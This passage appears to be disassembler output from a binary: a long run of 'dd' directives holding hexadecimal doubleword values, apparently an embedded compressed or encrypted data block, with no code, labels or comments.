		dd 1C92C56Dh, 80ED0329h, 0F6EBAEFAh, 644CBD51h,	0AF1B003Ch
		dd 2136DBC6h, 509D74C5h, 9BCE0A5h, 27CABB9Bh, 668BBC00h
		dd 0D4004EF8h, 789CC20h, 6BB067Ch, 6F6245B4h, 0DE0018E7h
		dd 0DF4E2C27h, 0AD8A9Eh, 0FE56C2A2h, 10E6500Bh,	0F270F4E8h
		dd 0EEC53900h, 0B10F3EC1h
		dd 7B0CF409h, 7E4D0088h, 8435A8D1h, 95F24902h, 65528C00h
		dd 1DACA7B9h, 0ABC53C55h, 60BA530Fh, 4D18480h, 7B0EA531h
		dd 67AAB290h, 0D36097E7h, 0F83E559Ah, 0A43705C3h, 0C20946CBh
		dd 3CC02A3Eh, 31001D12h, 1CFC7024h, 0F5C580h, 4BB88F6Dh
		dd 41D86F0Eh, 0CECDBC1Fh, 6C7CF740h, 8195FFh, 16640F8Dh
		dd 0EF40BE2Dh, 0FE1E20B8h, 5CBF5EF5h, 0DE78041Ch, 2000C1DDh
		dd 0B6ED5126h, 0E8B77426h, 0CD90889Eh, 2900F13Bh, 8D4D41EAh
		dd 0C8002C74h, 4C33EFDAh, 390637D6h, 0D88066DEh, 39C25B4h
		dd 2C019240h, 0C05F3C2Ah, 82F46AE5h, 1A22054Ah,	0C0435BCAh
		dd 92276753h, 0D902F779h, 9C427B11h, 2114609Fh,	0F4344889h
		dd 0AA006738h, 463BBC8Ah, 8F008247h, 70D14428h,	2134EB4h
		dd 0CFD5FCA7h, 2B60A351h, 6000AAEDh, 0E111DAD7h, 0B0324028h
		dd 66E50730h, 20DE9144h, 3ED788F7h, 0AF970702h,	0E39017BFh
		dd 0FE31BF5Ch, 47C42FCEh, 56880750h, 0A0066278h, 613FF981h
		dd 64F17A00h, 0E6899BF8h, 0ACC800F6h, 17BBAB4Bh, 6E00BD7Eh
		dd 8E5D5E7Ah, 77F67D8h,	0E3A1EAB8h, 9102E064h, 0E0058F83h
		dd 17FD227Eh, 0CFDC40C0h, 13881787h, 0F95901C1h, 34D58EF1h
		dd 0A61F128Ch, 67806683h, 0E53B459Dh, 5A6D393Eh, 1195892h
		dd 8D6F88E4h, 0BCB08079h, 1FFBED76h, 0A3040C1Bh, 6E44CD8Ah
		dd 0B784950Bh, 1AC207Eh, 1DEC8034h, 4089FD79h, 0C96F3157h
		dd 0B0001491h, 0BECF4638h, 0CBD8186h, 0ED06AE3Eh, 633D27F8h
		dd 1E528367h, 80E696B0h, 0BFD49A4h, 9CEA03C6h, 3EFCEA80h
		dd 67002D32h, 0C48A73AEh, 59B75EFFh, 63C4011h, 2549C81h
		dd 859D9B0Eh, 0D27175F8h, 0C78A0880h, 60D6011Dh, 0A4DCFF03h
		dd 0C8C8CFD0h, 2474133Bh, 7EF8C660h, 37BAB9h, 27AC4A3Ah
		dd 3D6EAA8Fh, 812D3639h, 0FE68A55Eh, 75F0E557h,	6F230018h
		dd 0B99F4829h, 7609884Eh, 81009h, 120C6993h, 1CE00059h
		dd 0FDB50FAh, 0BD00C6A9h, 265F184Eh, 0B3BC85h, 462A5ECEh
		dd 89B5AE63h, 916FD700h, 8FA9C2A5h, 0B1163824h,	0E6586D80h
		dd 8026C1C4h, 2E8D0126h, 0E4561B00h, 3B2B9C68h,	0F300A36Ah
		dd 51D4D3ECh, 16EE0B0Fh, 0CB254F00h, 8695C582h,	0D1480037h
		dd 34BF87C3h, 3C000A1Dh, 8C333608h, 98537BDAh, 0D04C007Ch
		dd 643E248Eh, 0F1D87C6h, 0E7016AF2h, 0F976018Fh, 2820F221h
		dd 98D6003Ah, 37AF59DCh, 2B5CEF3Dh, 23A000EDh, 79C08776h
		dd 0B6690043h, 0D396BF8Dh, 64F1DE47h, 94087E3Ch, 1241E06h
		dd 0EC66DE6h, 4028308Fh, 71F5C722h, 0BDFF1671h,	0BAA807E2h
		dd 0B69DB0F2h, 9100CAA9h, 32E0C652h, 1C76F1Bh, 9AA60216h
		dd 60D7E947h, 983C74B0h, 4A4C79BEh, 0BA0B1CD8h,	0C61EFF40h
		dd 1C33DC16h, 9F14F7C7h, 0C00740D4h, 0CF6F6167h, 0AB043571h
		dd 335BD975h, 0E0CC5280h, 0AE1E00CAh, 3D0CB904h, 0E300C417h
		dd 0A7258B60h, 0F0B444ABh, 6450CE8Dh, 0DA59C040h, 0F0303852h
		dd 8520D177h, 72BB0034h, 6EF69F97h, 9505CB3Bh, 769C47EBh
		dd 0ED089480h, 96E72EF1h, 0F2EA501Ch, 9E4680h, 0F671E91Ch
		dd 573C172Ah, 54D78B2Ch, 0DB843400h, 76E437Ch, 60E6BC2h
		dd 0B8917138h, 0DF7D70EBh, 9613B100h, 490CDD6Eh, 0EAC2ECD0h
		dd 16FCB879h, 16A451CBh, 11FC00B9h, 867FD21Bh, 0C71448h
		dd 547CED6Ch, 71C069Eh,	1B39FEF5h, 247350F3h, 0F100DBFBh
		dd 43B9D44h, 484A13E1h,	7607CDB2h, 32CAC8C5h, 0FCE0CCB1h
		dd 3A42C02Eh, 613B8F00h, 7B9AE01h, 0FB7D4900h, 0C49FC21Ah
		dd 1E4604F7h, 0C0120ED3h, 94FFF4C0h, 0BA43923Fh, 3CD9D3Bh
		dd 53C4D000h, 65AE83h, 415647B5h, 0E6BD621Ch, 0A0781400h
		dd 4BB6B7B4h, 5458EA3Fh, 0E9DD455h, 0C4396EBBh,	0FE62C5CEh
		dd 2CE01C47h, 0D80034E3h, 39605E3Fh, 55672B08h,	65CCE09Bh
		dd 0C2990EE8h, 0A501C801h, 3542737h, 3A9C9807h,	0EA1C0BABh
		dd 800FFD35h, 6359433Dh, 1000FAAFh, 56F30E79h, 8F9C4h
		dd 0AC703B5Dh, 0E211C76Dh, 0C2AC48DFh, 64079D24h, 0B4510E9Bh
		dd 0D42058DFh, 4EB89Fh,	0E0F6A046h, 0A3C46004h,	0AF3F9500h
		dd 0BBACB4B6h, 1B2718Eh, 0B0E11243h, 60FD7B5Bh,	2800AD90h
		dd 0FBF8290h, 924333h, 0D4180EFCh, 62347E7Ch, 81D77938h
		dd 16D91381h, 0D830DDBEh, 0B3CB005Fh, 0D8C60D99h, 2C001E2Eh
		dd 51B4E20Ch, 0D402DAh,	0BC15319Fh, 660F7029h, 0EC67E801h
		dd 389E8BC5h, 3FA4E0EFh, 0CD95013Dh, 0B322CC1Ah, 990DD093h
		dd 0B7BA6900h, 17D09C4Ch, 0CB140028h, 312D3B12h, 0F0029089h
		dd 0E8083088h, 11A08787h, 5E42D581h, 181BFC8h, 63AB7010h
		dd 707E480Bh, 0B5B850B4h, 0FC00887Fh, 74244E71h, 0F99B2F5h
		dd 0D678697Ah, 31BAF7C0h, 0C400FE2Fh, 0A4724938h, 1FEB7CB8h
		dd 0C3F0A21Dh, 0E590FDB3h, 4B305488h, 0E8B4937h, 758A0590h
		dd 0E79748A9h, 946B9200h, 0CA7CB23Ah, 7F4EBE03h, 0A7FEC85Eh
		dd 14A48B0h, 0B20F0960h, 0C009928h, 0E3174002h,	0F900C3FAh
		dd 8104E12Ah, 9FAD26h, 6F91EE50h, 0D2B70162h, 0C2560D00h
		dd 0A68360CDh, 0A7022489h, 0B6100D0h, 3967CA4h,	0CF5BB509h
		dd 47A820DDh, 0EFE46Dh,	962EB2Ah, 0D9BDAF44h, 33ACD4A0h
		dd 60731400h, 0AA92C11Ah, 98D50785h, 59E2D92Fh,	0CFFED003h
		dd 7C58BBE2h, 78A2F001h, 8866C399h, 0F9DC70h, 96D75090h
		dd 3E642BA4h, 9D0F2300h, 0E57857AFh, 0ED4EEEBh,	5FA386ECh
		dd 0E7D78A00h, 0DB24B9F8h, 6C00704Ah, 4B3E1B75h, 373B3A5Ch
		dd 0F52F798Fh, 9A89A460h, 0AF04CF67h, 5B02AA6Ch, 7D9FAE80h
		dd 0EFFEF2h, 0C0045A98h, 8B5EFE1Ah, 67D6C300h, 0DD3225FFh
		dd 954600BDh, 921A5A0Dh, 0CA0E243Ah, 0E36EB863h, 0D8C0F3CBh
		dd 59FC29h, 0EC5F04E7h,	0F4C9074h, 0AB63A304h, 61C0DD21h
		dd 746BB1A6h, 693916EBh, 0C3DE00B2h, 33968FC6h,	0B1CC0100h
		dd 6A6D8ADFh, 9B1400F8h, 0FD439078h, 0C62CE731h, 0EA0090DBh
		dd 6AFA0F44h, 1A910F69h, 0CE6043A1h, 80B3B657h,	93C0B809h
		dd 0F4998021h, 28CF640h, 73C343D0h, 50E0BD16h, 53072ACAh
		dd 0B35011DFh, 0FDAFF0C0h, 0E4B6074Eh, 0C0EBC4F9h, 0D8ABA22h
		dd 384B3125h, 0F1092490h, 14E4E4h, 20717D86h, 629050E1h
		dd 0F4852900h, 7A8110BEh, 4CEC019Ch, 0AFD68F16h, 0F60CD8CFh
		dd 0E8C05C00h, 9AE9190Eh, 2C91006Bh, 306F296Dh,	5E0038EFh
		dd 260E18E3h, 39E08DBh,	46A9E499h, 0F898A502h, 7A0029D7h
		dd 0A16D6F2Bh, 1B0F996h, 4752BDA9h, 0E856FFEEh,	2A006BFCh
		dd 2E5D4C4Ah, 387AA869h, 0E5A0AA5h, 62C09F40h, 98064AD9h
		dd 695F6D00h, 8EF520C7h, 154100ABh, 0F75405EDh,	613D31E6h
		dd 0AC1180A6h, 0F95F16B7h, 58489868h, 97260EFh,	0B038075Ah
		dd 58CD4080h, 0B507BAAAh, 275C1B8Bh, 60D6E530h,	0C7FD0BBBh
		dd 0A0D931h, 0C9B2A639h, 1F74D800h, 165EA19Eh, 1C4CB021h
		dd 3F50878h, 0A9470F36h, 638A40F0h, 0AC0D7000h,	9ACC79EAh
		dd 2DAF002Eh, 0C80E3849h, 24B8195Ch, 80B5153Bh,	46D13AF1h
		dd 982775ADh, 57BB0EE8h, 0B2402ED6h, 630C1F15h,	86EF990Eh
		dd 3707C026h, 366BA84h,	403E2135h, 41E05719h, 0B07B033h
		dd 568BF591h, 4D65C560h, 0DA5D075Ch, 1B968962h,	8C2740AEh
		dd 0EA3840CDh, 80EAC98h, 3C0DDA10h, 7449A300h, 845416h
		dd 69B37813h, 0CA3C2DF8h, 0AC6CBF0Fh, 32E9E010h, 3952917h
		dd 28E2C64Ch, 0C4E89958h
		dd 0F64AF973h, 0E4F81807h, 0B0C12E13h, 5C7F2A43h, 23002C1Ch
		dd 0F196EECEh, 0A700E1D4h, 0E04044F3h, 7AF4C6h,	0EB306932h
		dd 5B9E2757h, 0D14A6100h, 0D0A1CBC5h, 15D79A3h,	0AE6B5952h
		dd 0C213A95Ch, 276E8D40h, 0FB868500h, 2BA8A4D6h, 0D01000EBh
		dd 0E4252698h, 320009D4h, 9ED9B829h, 38316AA4h,	6905CAD8h
		dd 0D0BD8BACh, 0C256480h, 0A63DE001h, 0AE3F32C1h, 63CCCED0h
		dd 0DE320BCh, 45252DE0h, 0DF1C6CE6h, 0DC008DD5h, 2732745Ch
		dd 828E0BFDh, 8600858Ch, 0C91677A9h, 0C3D8C500h, 14CD8460h
		dd 0FD5E05Ah, 24C8C7B6h, 0C10CE061h, 1F808142h,	7022CB10h
		dd 0D7A79181h, 80CEA560h, 51AC6131h, 801FE3EAh,	0B10C9DF8h
		dd 0D0B03167h, 0CAF74FAh, 0E06177D5h, 84071420h, 0F707DC28h
		dd 1D741B16h, 80F0FC2Bh, 8CAADA98h, 46004067h, 1EB1C61Ch
		dd 5861A0h, 0A673F808h,	0A9B2A805h, 0FB726200h,	383EA46Ah
		dd 0EA5F00D5h, 873A2F6h, 0D00809Ch, 0C662B1D3h,	0B5FDA0h
		dd 7D03D9D0h, 32305019h, 4C872E00h, 82BA6460h, 0A578C6h
		dd 4A0BB8F7h, 0F10CDAA0h, 8B4BB1C7h, 14A8C814h,	622083E8h
		dd 937E1720h, 5BC60059h, 68520451h, 0E5DFC100h,	540DCDDh
		dd 223A01B3h, 0FB47105Ah, 9CD430F9h, 84A01902h,	0D82BB7C1h
		dd 885F0004h, 0E98CEA28h, 5C121117h, 0EC98B5EBh, 947707A2h
		dd 7143BDA6h, 0C0DC1DD4h, 6300B164h, 0DA3FF7F0h, 1785D7Ah
		dd 68FDA27Bh, 0D019AC8Fh, 4F762BF6h, 26008679h,	8A0AC0FCh
		dd 0A060411Ch, 57F640h,	6A2B837Bh, 0B855A089h, 0A9030704h
		dd 29C0F3DDh, 0C9D2BBh,	6920E74Bh, 0B7042977h, 15B5D000h
		dd 0DEED1CC2h, 7241C12h, 3B4E8F25h, 2E77CAE0h, 79058BCBh
		dd 0E04F85AFh, 2603D087h, 0BB01D0F2h, 657E7D72h, 0C01518DFh
		dd 7592CA6Dh, 8BA53038h, 854750FDh, 0BC803851h,	9284FFAEh
		dd 43945E58h, 0A60F9EC4h, 217E40E7h, 2016CF4Ch,	1080628Bh
		dd 0E08057Fh, 1FC6E11Eh, 1C6739C0h, 0A73AAAEh, 3B063Ch
		dd 0BF8AF9D7h, 1FC06B26h, 81A64874h, 0F32DB7BDh, 700240Eh
		dd 4412DF00h, 20568EDBh, 0C0FB0062h, 0A23E95E5h, 48B62464h
		dd 92334B00h, 0F52DD8h,	0C7E23076h, 79A415B9h, 10601F07h
		dd 0E4902826h, 0C17E41h, 93760E78h, 62C8AE29h, 2500ADE2h
		dd 54550B74h, 7376002h,	459B17C7h, 12BFD04Bh, 6BFE1B92h
		dd 8C0B318h, 0A858DB79h, 75FBBEACh, 0E89A83h, 20E4D71Ch
		dd 60C05738h, 0D2AF5307h, 0E5A0FD7Fh, 1E2231Eh,	9544B817h
		dd 0E4961FDDh, 0B3013B6Ch, 5156816Bh, 8021B6D6h, 71C0EE0h
		dd 0D3DBA70Ah, 0E1E8754Ah, 4DEFFC88h, 0A5077000h, 603971D0h
		dd 63BB5C80h, 0E351BF03h, 74A0947Eh, 0AC02D323h, 2C3E382Fh
		dd 6680A368h, 80F80063h, 509CA125h, 44009448h, 1F067011h
		dd 463BE37h, 0DE565DEFh, 0D1C89093h, 4C3DE3BBh,	20261CB5h
		dd 80CF960Bh, 0B7763E7Dh, 2D490036h, 51AE9A0Ah,	0BB242AFCh
		dd 0DF032C0Dh, 0A8F3BE9Fh, 157F67C1h, 0A412AD25h, 3B0E8201h
		dd 0BCC51EB2h, 65407C70h, 0DCCD00EDh, 9B0B6849h, 0F609CB4Eh
		dd 541B2C5Bh, 883A0069h, 0D729EB10h, 0FA5D6901h, 6198D9E1h
		dd 0FED81474h, 3E2F0359h, 483D6CFDh, 70127000h,	8ABC50E8h
		dd 72FCFA3Fh, 0C164003Ah, 4EDAE4D9h, 0D8005D59h, 0E335A86h
		dd 0FF0DC0h, 0A293791Fh, 0CF7FD68h, 0ADFE7B00h,	785BA667h
		dd 33EE017Ah, 0A8422264h, 0C1E0600Ah, 38302F04h, 80BB34DCh
		dd 8EA48966h, 4998CC01h, 0A52214F5h, 40A3109Eh,	0F6FB2AD0h
		dd 0F0FD57E4h, 365CE95Fh, 0B5141E48h, 52B63140h, 0A44D56h
		dd 0F941F3D0h, 0B405A1FFh, 0A3FD7A00h, 773822F0h, 0AF150195h
		dd 5C4C93A0h, 0DCE071FCh, 0F8038F29h, 4B80B513h, 30FEE011h
		dd 0F9524FFh, 0D12716B8h, 0C4D4E030h, 5AF87D22h, 59E1AD00h
		dd 0CACB4050h, 725F0278h, 0E68361EEh, 7807854h,	0D3512D3Dh
		dd 1310003Eh, 0D9A3050Fh, 0DA07998Bh, 64B16BE0h, 91F96F93h
		dd 0D8809F19h, 2B9C044Dh, 0EB1DB325h, 40C9DCA8h, 0DEFC80F9h
		dd 0DB5E41h, 6ACC8F72h,	1B5062Fh, 81DAED3Ah, 0EC7B0EF9h
		dd 0E6E84BA6h, 0AF30025h, 9FAE431Fh, 0E80E7AE2h, 8064CD1Dh
		dd 5E387329h, 0C8FF00C1h, 0D095B18Bh, 5A00494Bh, 0A294D97Fh
		dd 0E28AEE7Dh, 0C0277FCDh, 7C1F7B10h, 0E300B149h, 1CED132Ah
		dd 4C09704Ch, 6D000B47h, 14D7A080h, 82006967h, 9E10D5C4h
		dd 7EF78Ch, 4CCECC59h, 0CF8E13AFh, 78E892F8h, 66B3DC00h
		dd 289453E8h, 0D7B600F3h, 0FA97DD43h, 4200D32Ch, 8CBD3BE5h
		dd 628AFBh, 0A8548931h,	3025C1FFh, 0E5999B00h, 48A1C44Eh
		dd 25D470A2h, 0AC005FB5h, 5A0C019Eh, 642EFB00h,	0E30E4730h
		dd 0E6F300D2h, 2D26D0A2h, 71EBEC8h, 4F40796Bh, 0AD87E7C1h
		dd 9A1A009Bh, 404E6320h, 2C00E839h, 0E301604Ah,	0A2FE6424h
		dd 1EA500D8h, 4F795Eh, 9CCC8DCAh, 0AA4975DDh, 9BC0615Eh
		dd 148E2Eh, 21366507h, 53461090h, 0E97C5C05h, 58C06CEFh
		dd 1894FA62h, 5871E6CEh, 4700D8E8h, 4EC60FD9h, 0D7DCE0h
		dd 0ABE48DB4h, 90C1D677h, 3911500h, 6951679Dh, 36ED001Eh
		dd 0A3CD21BCh, 1800A41Ch, 35241FA6h, 18FB2D7h, 33C2D257h
		dd 0E888A06Ah, 0FF00EBECh, 2563A558h, 0FC180DDFh, 67951707h
		dd 2188C1BDh, 0ECADC03Bh, 5AC12507h, 0F07093E2h, 905CCAF5h
		dd 0F96C009Ah, 0B64E2EFEh, 1D008395h, 768753C8h, 7B4CCCh
		dd 5F39A852h, 0F41FABAFh, 2599071Dh, 31B0A400h,	3044A8Eh
		dd 2063754Ch, 0D8A03A40h, 607A19A2h, 4B85B600h,	0BC4DCC31h
		dd 7C2A005Dh, 0EA3A6F2Bh, 3800A8E4h, 99451B4Ah,	767AAAh
		dd 827BD673h, 153EEABFh, 6AC6AD02h, 0E8A69A72h,	0CD0FB0h
		dd 5471E5F9h, 0F4EDEE04h, 0E8D9B302h, 0C015E3D6h, 0CA7945h
		dd 4A246C42h, 3FBBD73Dh, 7E95900h, 0EDA4DD20h, 952D2F67h
		dd 0A97BAC20h, 0C71DD280h, 9A409006h, 0EAB16133h, 0F2250177h
		dd 9BA6D646h, 4EACEC6Eh, 6851EAF9h, 316A883Eh, 203000C8h
		dd 0D2FADCBh, 132BA925h, 0AE088CD4h, 8211B690h,	0A53EABh
		dd 0D56539B4h, 72B8FFFh, 588602A9h, 0D440EF0Fh,	26C8DFB6h
		dd 9440604Ah, 0D977AEC2h, 1E88FCCAh, 3D59A94h, 780BF96Ah
		dd 720EA3F0h, 0AF00F6E2h, 2AAB5DC4h, 4C9012A4h,	9F1211C8h
		dd 0A3489068h, 6377A76Ah, 8F99C00h, 0B1C73AECh,	8048070Dh
		dd 0E15C7A01h, 0F8E3431Eh, 8CEEF369h, 0CA003470h, 18FCC0F7h
		dd 0E463275h, 0CD25EEAAh, 0E6DF8D60h, 6416D5E4h, 27000CD6h
		dd 0A32DF287h, 0BCC32603h, 32420047h, 2A9424DFh, 0D4D84F00h
		dd 0B3E891EFh, 2247008Dh, 2B4940C7h, 87F221A6h,	0F3E9CF00h
		dd 0B074C503h, 0CDBB00C9h, 1DDB31D5h, 0B5005989h, 8C8DF7DDh
		dd 0B2305F04h, 4E8D004h, 2C2BE8EAh, 8BA88Bh, 1E02BA0Bh
		dd 4CB0F0A5h, 0C6144F00h, 0FE44B6B1h, 0ECC705BCh, 0E067337Eh
		dd 750ED199h, 19CD776h,	0D4EBD0BFh, 2573E9D0h, 184097C0h
		dd 0A6003B23h, 0C705655Dh, 8188Ah, 0CCA91382h, 0F5DF3A70h
		dd 9A3C341Eh, 28A08B53h, 0CBCA0014h, 1AEB691h, 0A8017461h
		dd 0DC79C4BAh, 5CF019F3h, 901560A2h, 0FD673BB5h, 0ECCFF80h
		dd 758FF2E9h, 808B1C00h, 0B13BCEAh, 80203BCAh, 60DC90B7h
		dd 2BFAF0C1h, 3DFC2135h, 0BEE40DB8h, 44B8C71Dh,	840B8A3Ah
		dd 998094FDh, 0D95B3A3Fh, 0C66600D8h, 0A3590175h, 3C60394Dh
		dd 5E2A2738h, 0A408A03Eh
		dd 4EA0573h, 40A91B1Ch,	625456B0h, 0B6022B97h, 7E3D12C2h
		dd 0D6646040h, 0DF6A1325h, 0D0C400E9h, 0D25E8772h, 1B01F6F0h
		dd 3736793Dh, 8BDC999Ah, 0CB2100D3h, 1CFCD0Bh, 0EE286CA6h
		dd 711588C6h, 0F0FC15AFh, 64070h, 0FB3FEA84h, 0DE248CD5h
		dd 9F879F8h, 0E9987C00h, 2B997D08h, 0E1D400A7h,	2F89062h
		dd 880093DBh, 0D09B2980h, 109CC6Eh, 0D1D71585h,	40C2C324h
		dd 0EDEBB6C4h, 0B4A00706h, 198C49Ah, 5E2C8364h,	21D61F76h
		dd 0F0888618h, 2730D594h, 4480413Ch, 0CC608B1Fh, 167898A0h
		dd 9849D000h, 3350F9BEh, 53250A9Ch, 1D0B561h, 5A338F7h
		dd 11204F2Eh, 7E803D61h, 0A58CC215h, 721894A8h,	3001EA00h
		dd 2768FF88h, 60CA74E0h, 5A7121A3h, 5FE6E9EBh, 1DDE2E0Fh
		dd 0A976C124h, 8826E43Ah, 75C9BB00h, 6F118BDEh,	24EABA3Ch
		dd 0D5473CE7h, 0C261A2C2h, 3BA06078h, 0ADD63235h, 5D300790h
		dd 2F9C34EBh, 0E484888h, 9E05B880h, 3E0B7B70h, 0BF9293F0h
		dd 1F7030C9h, 0B0206D53h, 0B14E3ABEh, 6891B8D1h, 0EA66802Eh
		dd 0A4682FDDh, 65A0447Ch, 0C49DCE00h, 0B084FDEDh, 387B1827h
		dd 75CA58B4h, 6CC2E202h, 40D87932h, 4906E8C4h, 580034C7h
		dd 0FFDA3634h, 0B90023AEh, 22C1E10Dh, 20A8E2Ah,	0F8F2DF95h
		dd 0FCC44ECFh, 5EDAC400h, 0C17DD1D5h, 663C332Ah, 21005D08h
		dd 525ED39Fh, 18B7534Ah, 0AC3ADE94h, 0F2834EDh,	8D00C0C9h
		dd 85A76148h, 133C0Bh, 0C46AA86Eh, 0C9B5E072h, 9B2B8704h
		dd 84901E50h, 12D30B4h,	0C82FACCEh, 971F94A3h, 0F05FA808h
		dd 5E2D3843h, 957B9806h, 227600AAh, 0D52E1B32h,	0BF0E2F2Ch
		dd 272B2B1h, 68CD0CD0h,	5DA984h, 0D7042C81h, 574CE99h
		dd 0C1A63701h, 0DEA0E4BBh, 0F4125430h, 8684A03Ch, 4CAF522Bh
		dd 0DA27D401h, 0CCACFACh, 0FCD08B9Dh, 22383729h, 6F08A7Dh
		dd 6D80BCF2h, 9B16FBE6h, 83FA19E4h, 0D69828h, 4D0D8B27h
		dd 24041C22h, 0C0614E79h, 0BF012A58h, 0ECFC1D04h, 4A0A610h
		dd 113A2C24h, 0EB9E0400h, 65AC835Ch, 8C8E413Fh,	78DE182Fh
		dd 0F51529EDh, 0E8B77BE8h, 84E7416Eh, 4DD045A7h, 0D05104CFh
		dd 10ED3794h, 19023D8h,	0ACDB2D07h, 118C58D7h, 2FDF21C0h
		dd 540CAD2Dh, 0E03888E1h, 0D25C00C7h, 0EA97C484h, 0E3302B5Fh
		dd 6D4B60F0h, 50D14C12h, 0AA9AA938h, 900039DFh,	6B4F1133h
		dd 7DD6D1C0h, 9A7478Ah,	0E8C9CF68h, 0B6A91090h,	36015CB3h
		dd 1D9C30BDh, 0C39A824h, 0C90D7D42h, 322A6628h,	0C48E4FBh
		dd 0FC978098h, 38DF7669h, 8600879Eh, 0D974900Ah, 0A502E925h
		dd 21C4AB60h, 41840FFh,	4B4A64Fh, 3F345E5Fh, 38A43866h
		dd 91815E68h, 0C905D30Dh, 64B5C0D2h, 809C4358h,	24EBE2B6h
		dd 0C5A91247h, 946FB1h,	0FED20233h, 1AAABD9h, 29252F60h
		dd 209D30E0h, 831DF940h, 9C5275A2h, 65F44827h, 0FA7328CCh
		dd 979B2C52h, 44748924h, 30C75006h, 0E7E62F07h,	19B8ED3h
		dd 10F75D8h, 30E66C35h,	208EB57h, 64CAD030h, 0FF6640A2h
		dd 0B04BF99Dh, 24CF705Bh, 45046C69h, 23282E99h,	0ACD281A3h
		dd 0BBC5FE6Ch, 8BFD9E48h, 7E58425Eh, 28EE868h, 841AC88Fh
		dd 0FD04B305h, 0D6188065h, 0C89B702Fh, 72000C11h, 90ED9DBBh
		dd 0FE07A929h, 0EFBAA14Fh, 0C6188FE0h, 79F89BBDh, 94C4190Dh
		dd 12142ED8h, 0AD29EDCh, 13C89A9Fh, 3AF835B8h, 0F8501044h
		dd 0C09DE2C5h, 0E8649EECh, 0BA79B4B8h, 384198A2h, 4069A8B7h
		dd 0D91CAE46h, 0D0AC9C27h, 809AC8CBh, 692A01E9h, 0A5051ABEh
		dd 0C9A08AF2h, 1D2E880Bh, 0A1981F34h, 0A2D0FD80h, 0FCBFF6Ah
		dd 91AEB0E6h, 6E2BF520h, 0C7295CDFh, 9200ACE5h,	0DA79E152h
		dd 7BF0A094h, 6BC70461h, 0A38D5478h, 0B4B60650h, 48F0A966h
		dd 42C3B8E7h, 0A1756A60h, 0B8489492h, 6E041090h, 307D9F17h
		dd 0B740EA34h, 3C0D5B26h, 0E5D79740h, 0F3602672h, 0AAAC0C14h
		dd 63608208h, 0E59B2020h, 3A0E0017h, 0EE60758Ah, 0A09042A8h
		dd 8D30AF0Ch, 0F20C68F8h, 37FB7478h, 0D0E1506Ch, 4159554Bh
		dd 0A74DB904h, 0D4C02ED8h, 0C2A26EEBh, 1DD6FD69h, 0A3E28063h
		dd 0E09578E6h, 9A615C53h, 24110160h, 9C351FE7h,	0C2EE30BDh
		dd 8CCA5C91h, 2A2465Ch,	0C1197413h, 97A4A04Fh, 79762444h
		dd 0CC7801E6h, 0C6660425h, 19472E8h, 99889492h,	6C23C338h
		dd 0EF2CD105h, 12B40096h, 0FA4154BCh, 0A021A4B0h, 9D880C9Ch
		dd 2B02ACB8h, 37458EAh,	53C46F3h, 2F2D3F32h, 6D4CD0E1h
		dd 0BC24D07Ah, 4C40884Eh, 1405D1Eh, 93F17902h, 72A53957h
		dd 994E0514h, 0F408EC74h, 0E601C0D5h, 3216068h,	0BD91C5h
		dd 0E0E59D1Eh, 14F01F3Eh, 0B09E8D32h, 88708BE4h, 1167C00Eh
		dd 8F06D5B5h, 5283EA17h, 0C94300C9h, 0C0B259AAh, 801F7B3Dh
		dd 0D241F315h, 0B32B5734h, 0C2F31C36h, 43CF30F4h, 9A87365h
		dd 545CA5A9h, 10892080h, 0AE098866h, 90175E67h,	84FF9F24h
		dd 5019A46h, 7ACCD2Dh, 89A90CC8h, 5B88FFDDh, 0A274FB3Dh
		dd 0E03ADF0Bh, 0FD1031DBh, 30F0DC36h, 0BC7C3D46h, 26DD2D2Eh
		dd 5516D000h, 18043F21h, 31A6ECCAh, 0B81FB692h,	0CB8E7802h
		dd 2C2B43F9h, 0A11AA87Dh, 84E8A0CAh, 0E8A0A853h, 0E6E208h
		dd 0A95F0C7Fh, 0D22CDCE0h, 0EFED1F16h, 9491A000h, 271DBEE4h
		dd 7C110D1Bh, 9387412Fh, 0EE5C6080h, 9823BE41h,	0CF854A1h
		dd 9AE2007Ah, 0F01DDB8Ah, 6134211Ah, 44CE69BEh,	0C1CF0C88h
		dd 0C861A4ADh, 0A5BA2C81h, 0E77844ECh, 94D1790Eh, 301812BBh
		dd 80A456C0h, 847F3965h, 6E1D20Bh, 0AB0A0EFh, 0C1898E9Eh
		dd 5CB92722h, 0E51E7EEh, 0AC144200h, 7A2D3330h,	5D3746CFh
		dd 3BD30034h, 0A26B1A2Dh, 51D8A826h, 0AB451538h, 0A440E482h
		dd 74F4303h, 3F315ECEh,	496FC438h, 4C6200FBh, 5E59FAD9h
		dd 1E6212A3h, 89B64BD0h, 3C020030h, 0C83FDE00h,	61D0D63Bh
		dd 3D4878AFh, 0A600DF8Fh, 1E978840h, 0CC4C811Bh, 0E3BA000h
		dd 0A90C9178h, 180DD168h, 0FC023D4Ah, 0ED200500h, 0B94E3D7Eh
		dd 24CC5248h, 465EBC95h, 0EA7700FBh, 0C039E816h, 8C69544Eh
		dd 89681EB9h, 6D807B95h, 0FEFD331Eh, 0A7156B52h, 0F0CA0Ch
		dd 8BA96182h, 0D4AE1Ah,	0B62501FCh, 0DB3F0542h,	0EA481090h
		dd 0C0FEC870h, 3F065ECDh, 6E22D646h, 5E00AA7Ch,	125FE761h
		dd 0A84D3DA3h, 0E84E2FCCh, 0AC7F807h, 0D9941675h, 2D500CB0h
		dd 4D00E6F9h, 0E84F7D31h, 83161Fh, 1BBD770Ch, 7565D5C3h
		dd 0AB631000h, 5AE4F5F1h, 0D008016Eh, 2A44B60Eh, 0D1B09E0Fh
		dd 88849725h, 160F6FBh,	3ECFA912h, 40DD4F34h, 148CF20Ah
		dd 874680E4h, 12D0DAD7h, 5C412F24h, 74F4EA00h, 0EB211Ch
		dd 3DE7F035h, 0D07EAE60h, 9F8FB12Ch, 20BD8C00h,	69F78D3Fh
		dd 184558ECh, 636097E4h, 0AA00D334h, 9A9E038Fh,	9DC4C3A9h
		dd 40BEBC25h, 181DD5C0h, 770BACA4h, 0B1D69B3Bh,	0B42332F0h
		dd 30F4C2A3h, 0E10818h,	51ED3BF3h, 0AE90BA07h, 8C3A4917h
		dd 0F33F1020h, 843C0159h, 6894F452h, 0CC98CB6h,	3B66A9EDh
		dd 0DE84FE1Dh, 890BF9D1h, 0A7A0D448h, 0B3B89C00h, 0D9EE7C62h
		dd 120FF021h, 1DDFF137h, 342F49A8h, 7E3B481Dh, 0F8E0086h
		dd 0B887E64Ah, 0FA4A9618h, 0C8083434h, 29FEC095h, 1F46AC60h
		dd 0D4009D22h, 0AA542D06h, 59EB0225h, 0D21CDAh,	0F27E21B7h
